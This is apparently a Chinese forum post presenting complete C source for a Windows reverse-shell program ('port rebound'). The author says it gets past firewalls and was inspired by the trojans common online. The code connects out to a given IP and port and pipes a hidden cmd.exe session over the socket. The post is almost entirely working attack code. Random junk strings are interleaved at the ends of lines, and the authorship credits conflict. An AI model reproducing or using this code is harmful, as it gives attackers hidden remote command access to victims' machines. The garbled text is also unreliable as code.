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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 e`Yx]3;u(  
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/* ============================== Y(<>[8S m  
Rebound port in Windows NT u+S*D\p<`  
By wind,2006/7 W[+E5I  
===============================*/ oZ!rK/qoA  
#include  37{mhU  
#include \p.ku%{  
$NqT ={!  
#pragma comment(lib,"wsock32.lib") C#(4>'  
V" I+E  
void OutputShell(); QarA.Ne~  
SOCKET sClient; Al 0zL  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1C:lXx$|  
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void main(int argc,char **argv) ?(hdV ?8)P  
{ yay{lP}b"  
WSADATA stWsaData; 7ej"q  
int nRet; "M2HiV  
SOCKADDR_IN stSaiClient,stSaiServer; AOeptv^k3}  
9QZ;F4 r  
if(argc != 3) !x|Ok'izDL  
{ *y7^4I-J  
printf("Useage:\n\rRebound DestIP DestPort\n"); h@l5MH=|%  
return; O7:JG[tR*  
} Haiuf)a  
a&|aK+^8;  
WSAStartup(MAKEWORD(2,2),&stWsaData); 6EJ,czt(  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OZ0q6"  
h@/c76}f6p  
stSaiClient.sin_family = AF_INET; oT.g@kf=H  
stSaiClient.sin_port = htons(0); k_$w+Q  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "<NQ2Vr]5  
5G= 2=E  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) k.?b2]@$  
{ Q+gQ"l,95  
printf("Bind Socket Failed!\n"); `AQv\@wp  
return; P)ZGNtO9fG  
} K5'@$Km  
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stSaiServer.sin_family = AF_INET;  >Xh 9{/o  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); :*#I1nb$  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p-r}zc9@  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) G^5}T>TV  
{ * r$(lf  
printf("Connect Error!"); StA5h+[m  
return; wF[^?K '  
} jbGP`b1_  
OutputShell(); KE6[u*\  
} 4w\cS&X~C  
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void OutputShell() /N]?>[<NW  
{ Tw);`&Ulo  
char szBuff[1024]; 1]m]b4]  
SECURITY_ATTRIBUTES stSecurityAttributes; M+9G^o)u  
OSVERSIONINFO stOsversionInfo; Whod_Uk  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 2t*@P"e!  
STARTUPINFO stStartupInfo; "\U$aaF  
char *szShell; >kd&>)9v  
PROCESS_INFORMATION stProcessInformation; O8r9&Nv  
unsigned long lBytesRead; w SBDJvI  
SX$v&L<  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); c{7!:hi`x  
%5NfF65'  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {w1sv=$+  
stSecurityAttributes.lpSecurityDescriptor = 0; j[v<xo  
stSecurityAttributes.bInheritHandle = TRUE; >y &9!G  
fXEF]C  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]8<;,}#  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); vn9_tL&  
he;&KzEu  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); MkF:1-=L  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; p{[Ol  
stStartupInfo.wShowWindow = SW_HIDE; *O+G}_}  
stStartupInfo.hStdInput = hReadPipe; /MO|q  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; nPD5/xW  
rB~x]5TH  
GetVersionEx(&stOsversionInfo); 6$lj$8\  
4&2aJ_ 2 y  
switch(stOsversionInfo.dwPlatformId) :"#EQq]ct  
{ AbC /  
case 1: @or&GcQ*  
szShell = "command.com"; wWQv]c%  
break; SoI"a^fY  
default: Kzfa4C  
szShell = "cmd.exe"; #%rXDGDS  
break; rp (nGiI  
} H~^am  
2xN1=ug  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4#{i  
dd@qk`Zl&A  
send(sClient,szMsg,77,0); 06|+ _  
while(1) ]g2Y/\)a  
{ ]'3e#Cqeh  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); al.~[T-O+  
if(lBytesRead) y+hC !-  
{ $WI=a-;_e  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); DBI[OG9  
send(sClient,szBuff,lBytesRead,0); ^w/_hY!4/  
} qM~ev E$%  
else SxdH %agM  
{ ,W;\6"Iwx'  
lBytesRead=recv(sClient,szBuff,1024,0); Kz:g9  
if(lBytesRead<=0) break; k4FxdX  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); `L/kwVl  
} o}C|N)'  
} DG}} S 5  
v}q3_m]   
return; e "5S ;  
}
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